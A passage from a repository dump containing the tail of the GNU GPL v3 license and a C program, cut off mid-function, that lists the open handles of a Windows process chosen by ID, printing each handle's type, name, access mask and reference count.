licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "Object Manager/List Handles/main.c",
    "content": "/*+===================================================================\n  File:      main.c\n  Summary:   List handles from a remote process.\n  Classes:   N/A\n  Functions: N/A\n  Origin:    https://github.com/am0nsec/wspe/blob/master/Object%20Manager/\n##\n  Author: Paul Laine (@am0nsec)\n===================================================================+*/\n#pragma once\n#include <Windows.h>\n#include <stdio.h>\n#include \"ntstructs.h\"\n\n#pragma comment(lib, \"ntdll\")\n\n/*--------------------------------------------------------------------\n  Function prototypes.\n--------------------------------------------------------------------*/\nVOID WINAPI RtlInitUnicodeString(\n    _In_ PUNICODE_STRING DestinationString,\n    _In_ PCWSTR          SourceString\n);\n\nNTSTATUS WINAPI NtQueryInformationProcess(\n    _In_  HANDLE ProcessHandle,\n    _In_  DWORD  ProcessInformationClass,\n    _Out_ PVOID  ProcessInformation,\n    _In_  ULONG  ProcessInformationLength,\n    _Out_ PULONG ReturnLength\n);\n\nNTSTATUS WINAPI NtQueryObject(\n    _In_opt_  HANDLE Handle,\n    _In_      DWORD  ObjectInformationClass,\n    _Out_     PVOID  ObjectInformation,\n    _In_      ULONG  ObjectInformationLength,\n    _Out_opt_ PULONG ReturnLength\n);\n\n/*--------------------------------------------------------------------\n  Private Function\n--------------------------------------------------------------------*/\nHRESULT GetRemoteProcessHandlesSnapshotInformation(\n    _Out_ PPROCESS_HANDLE_SNAPSHOT_INFORMATION* ppHandleSnapshotInfo\n);\n\nHRESULT GetObjNameByHandle(\n    _In_  PHANDLE         phObjHandle,\n    _Out_ PUNICODE_STRING pObjName,\n    _Out_ PVOID*          ppHeapNameBuffer\n);\n\nHRESULT GetObjTypeByHandle(\n    _In_  PHANDLE         phObjHandle,\n    _Out_ PUNICODE_STRING pObjType,\n    _Out_ PVOID*          ppHeapTypeBuffer\n);\n\nNTSTATUS GetObjBasicInformationByHandle(\n    _In_  PHANDLE pObjHandle,\n    _Out_ PACCESS_MASK pAccessMask,\n    _Out_ PDWORD pdwReferenceCount\n);\n\n/*--------------------------------------------------------------------\n  Global Variables\n--------------------------------------------------------------------*/\nHANDLE g_hRemoteProcess    = INVALID_HANDLE_VALUE;\nHANDLE g_hCurrentProcess   = INVALID_HANDLE_VALUE;\nHANDLE g_hProcessHeap      = INVALID_HANDLE_VALUE;\nDWORD  g_dwRemoteProcessId = 0;\n\nINT wmain(INT argc, PWCHAR argv[]) {\n    wprintf(L\"-----------------------------------------\\n\");\n    wprintf(L\"      List handles from remote process\\n\");\n    wprintf(L\"     Copyright (C) Paul Laine (@am0nsec)\\n\");\n    wprintf(L\"-----------------------------------------\\n\\n\");\n\n    /*--------------------------------------------------------------------\n      Check user input.\n    --------------------------------------------------------------------*/\n    if (argc == 1) {\n        wprintf(L\"[-] Usage: \\n\");\n        wprintf(L\"    - WindowsHandles.exe <process ID> \\n\\n\");\n        return 0x1;\n    }\n    \n    // Initialise variables\n    g_dwRemoteProcessId = _wtoi(argv[1]);\n    g_hProcessHeap = GetProcessHeap();\n    g_hCurrentProcess = GetCurrentProcess();\n\n    // Get the an handle to the remote process with the correct permissions\n    g_hRemoteProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, FALSE, g_dwRemoteProcessId);\n    if (g_hRemoteProcess == INVALID_HANDLE_VALUE) {\n        wprintf(L\"[-] Error invoking kernel32!OpenProcess (%d)\\n\", GetLastError());\n        return 0x1;\n    }\n\n    // Get list of handles\n    PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleSnapshotInfo = NULL;\n    if (GetRemoteProcessHandlesSnapshotInformation(&pHandleSnapshotInfo) == STATUS_UNSUCCESSFUL) {\n        HeapFree(g_hProcessHeap, 0, pHandleSnapshotInfo);\n        CloseHandle(g_hRemoteProcess);\n        return 0x1;\n    }\n    wprintf(L\"[>] Number of handles: %d\\n\\n\", (DWORD)pHandleSnapshotInfo->NumberOfHandles);\n    \n\n    // Loop through all the handles\n    wprintf(L\"%+-13ws %+-13ws %+-13ws %+-25ws %ws\\n\\n\", L\"Handle\", L\"Access Mask\", L\"References\", L\"Type\", L\"Name\");\n    for (DWORD cx = 0; cx < pHandleSnapshotInfo->NumberOfHandles; cx++) {\n        HANDLE hRemoteHandle = pHandleSnapshotInfo->Handles[cx].HandleValue;\n        HANDLE hDuplicate = INVALID_HANDLE_VALUE;\n\n        // Duplicate handle in the current process\n        BOOL success = DuplicateHandle(g_hRemoteProcess, hRemoteHandle, g_hCurrentProcess, &hDuplicate, 0, FALSE, DUPLICATE_SAME_ACCESS);\n        if (!success) {\n            CloseHandle(hDuplicate);\n            continue;\n        }\n\n        UNICODE_STRING ObjType = { 0, 0, NULL };\n        PVOID pHeapTypeBuffer = NULL;\n        if (GetObjTypeByHandle(&hDuplicate, &ObjType, &pHeapTypeBuffer) == STATUS_UNSUCCESSFUL) {\n            CloseHandle(hDuplicate);\n            continue;\n        }\n\n        UNICODE_STRING ObjName = { 0, 0, NULL };\n        PVOID pHeapNameBuffer = NULL;\n        if (GetObjNameByHandle(&hDuplicate, &ObjName, &pHeapNameBuffer) == STATUS_UNSUCCESSFUL) {\n            CloseHandle(hDuplicate);\n            continue;\n        }\n\n        ACCESS_MASK dwAccessMask = 0;\n        DWORD dwReferenceCount = 0;\n        if (GetObjBasicInformationByHandle(&hDuplicate, &dwAccessMask, &dwReferenceCount) == STATUS_UNSUCCESSFUL) {\n            CloseHandle(hDuplicate);\n            continue;\n        }\n\n        // Print information to console\n        wprintf(L\"0x%08llx    0x%08llx    %-13d %+-25ws %ws\\n\", (DWORD64)hRemoteHandle, (DWORD64)dwAccessMask, dwReferenceCount, ObjType.Buffer, ObjName.Buffer);\n\n        // Cleanup\n        if (pHeapTypeBuffer != NULL)\n            HeapFree(g_hProcessHeap, 0, pHeapTypeBuffer);\n        if (pHeapNameBuffer != NULL)\n            HeapFree(g_hProcessHeap, 0, pHeapNameBuffer);\n        CloseHandle(hDuplicate);\n    }\n\n    // Cleanup\n    HeapFree(g_hProcessHeap, 0, pHandleSnapshotInfo);\n    CloseHandle(g_hRemoteProcess);\n    return 0x00;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetRemoteProcessHandlesSnapshotInformation\n  Summary:  Get the PROCESS_HANDLE_SNAPSHOT_INFORMATION structure of a remote process.\n\n  Args:     PPROCESS_HANDLE_SNAPSHOT_INFORMATION* ppHandleSnapshotInfo\n              - Pointer to pointer of a PROCESS_HANDLE_SNAPSHOT_INFORMATION structure.\n\n  Returns: NTSTATUS\n-----------------------------------------------------------------F-F*/\nNTSTATUS GetRemoteProcessHandlesSnapshotInformation(PPROCESS_HANDLE_SNAPSHOT_INFORMATION* ppHandleSnapshotInfo) {\n    NTSTATUS dwNtStatus = STATUS_UNSUCCESSFUL;\n    ULONG lTableSize = 0;\n\n    // ProcessHandleInformation = 51\n    *ppHandleSnapshotInfo = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, 1024);\n    dwNtStatus = NtQueryInformationProcess(g_hRemoteProcess, 51, *ppHandleSnapshotInfo, 1024, &lTableSize);\n    if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) || lTableSize == 0) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryInformationProcess (0x%08x)\\n\", dwNtStatus);\n        HeapFree(g_hProcessHeap, 0, *ppHandleSnapshotInfo);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    // Reallocate the memory\n    *ppHandleSnapshotInfo = HeapReAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, *ppHandleSnapshotInfo, lTableSize);\n    dwNtStatus = NtQueryInformationProcess(g_hRemoteProcess, 51, *ppHandleSnapshotInfo, lTableSize, &lTableSize);\n    if (!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryInformationProcess (0x%08x)\\n\", dwNtStatus);\n        HeapFree(g_hProcessHeap, 0, *ppHandleSnapshotInfo);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    return STATUS_SUCCESS;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: GetObjNameByHandle\n  Summary:  Get the name of a named object with an handle.\n\n  Args:     PHANDLE pObjHandle\n              - Pointer to the handle of the object.\n            PUNICODE_STRING pObjName\n              - Pointer to a UNICODE_STRING to store the name of the named object.\n            PVOID* ppHeapNameBuffer\n              - Pointer to pointer used to store the address of the buffer in the heap.\n\n  Returns: NTSTATUS\n-----------------------------------------------------------------F-F*/\nNTSTATUS GetObjNameByHandle(PHANDLE pObjHandle, PUNICODE_STRING pObjName, PVOID* ppHeapNameBuffer) {\n    NTSTATUS dwNtStatus = STATUS_UNSUCCESSFUL;\n\n    ULONG lNameSize = 0;\n    dwNtStatus = NtQueryObject(*pObjHandle, 1, NULL, 0, &lNameSize);\n    if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) || lNameSize == 0) {\n        wprintf(L\"[-] Error invoking ntdll!NtQueryObject (0x%08x)\\n\", dwNtStatus);\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    *ppHeapNameBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lNameSize);\n    dwNtStatus = NtQueryObject(*pObjHandle, 1, *ppHeapNameBuffer, lNameSize, &lNameSize);\n    if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != 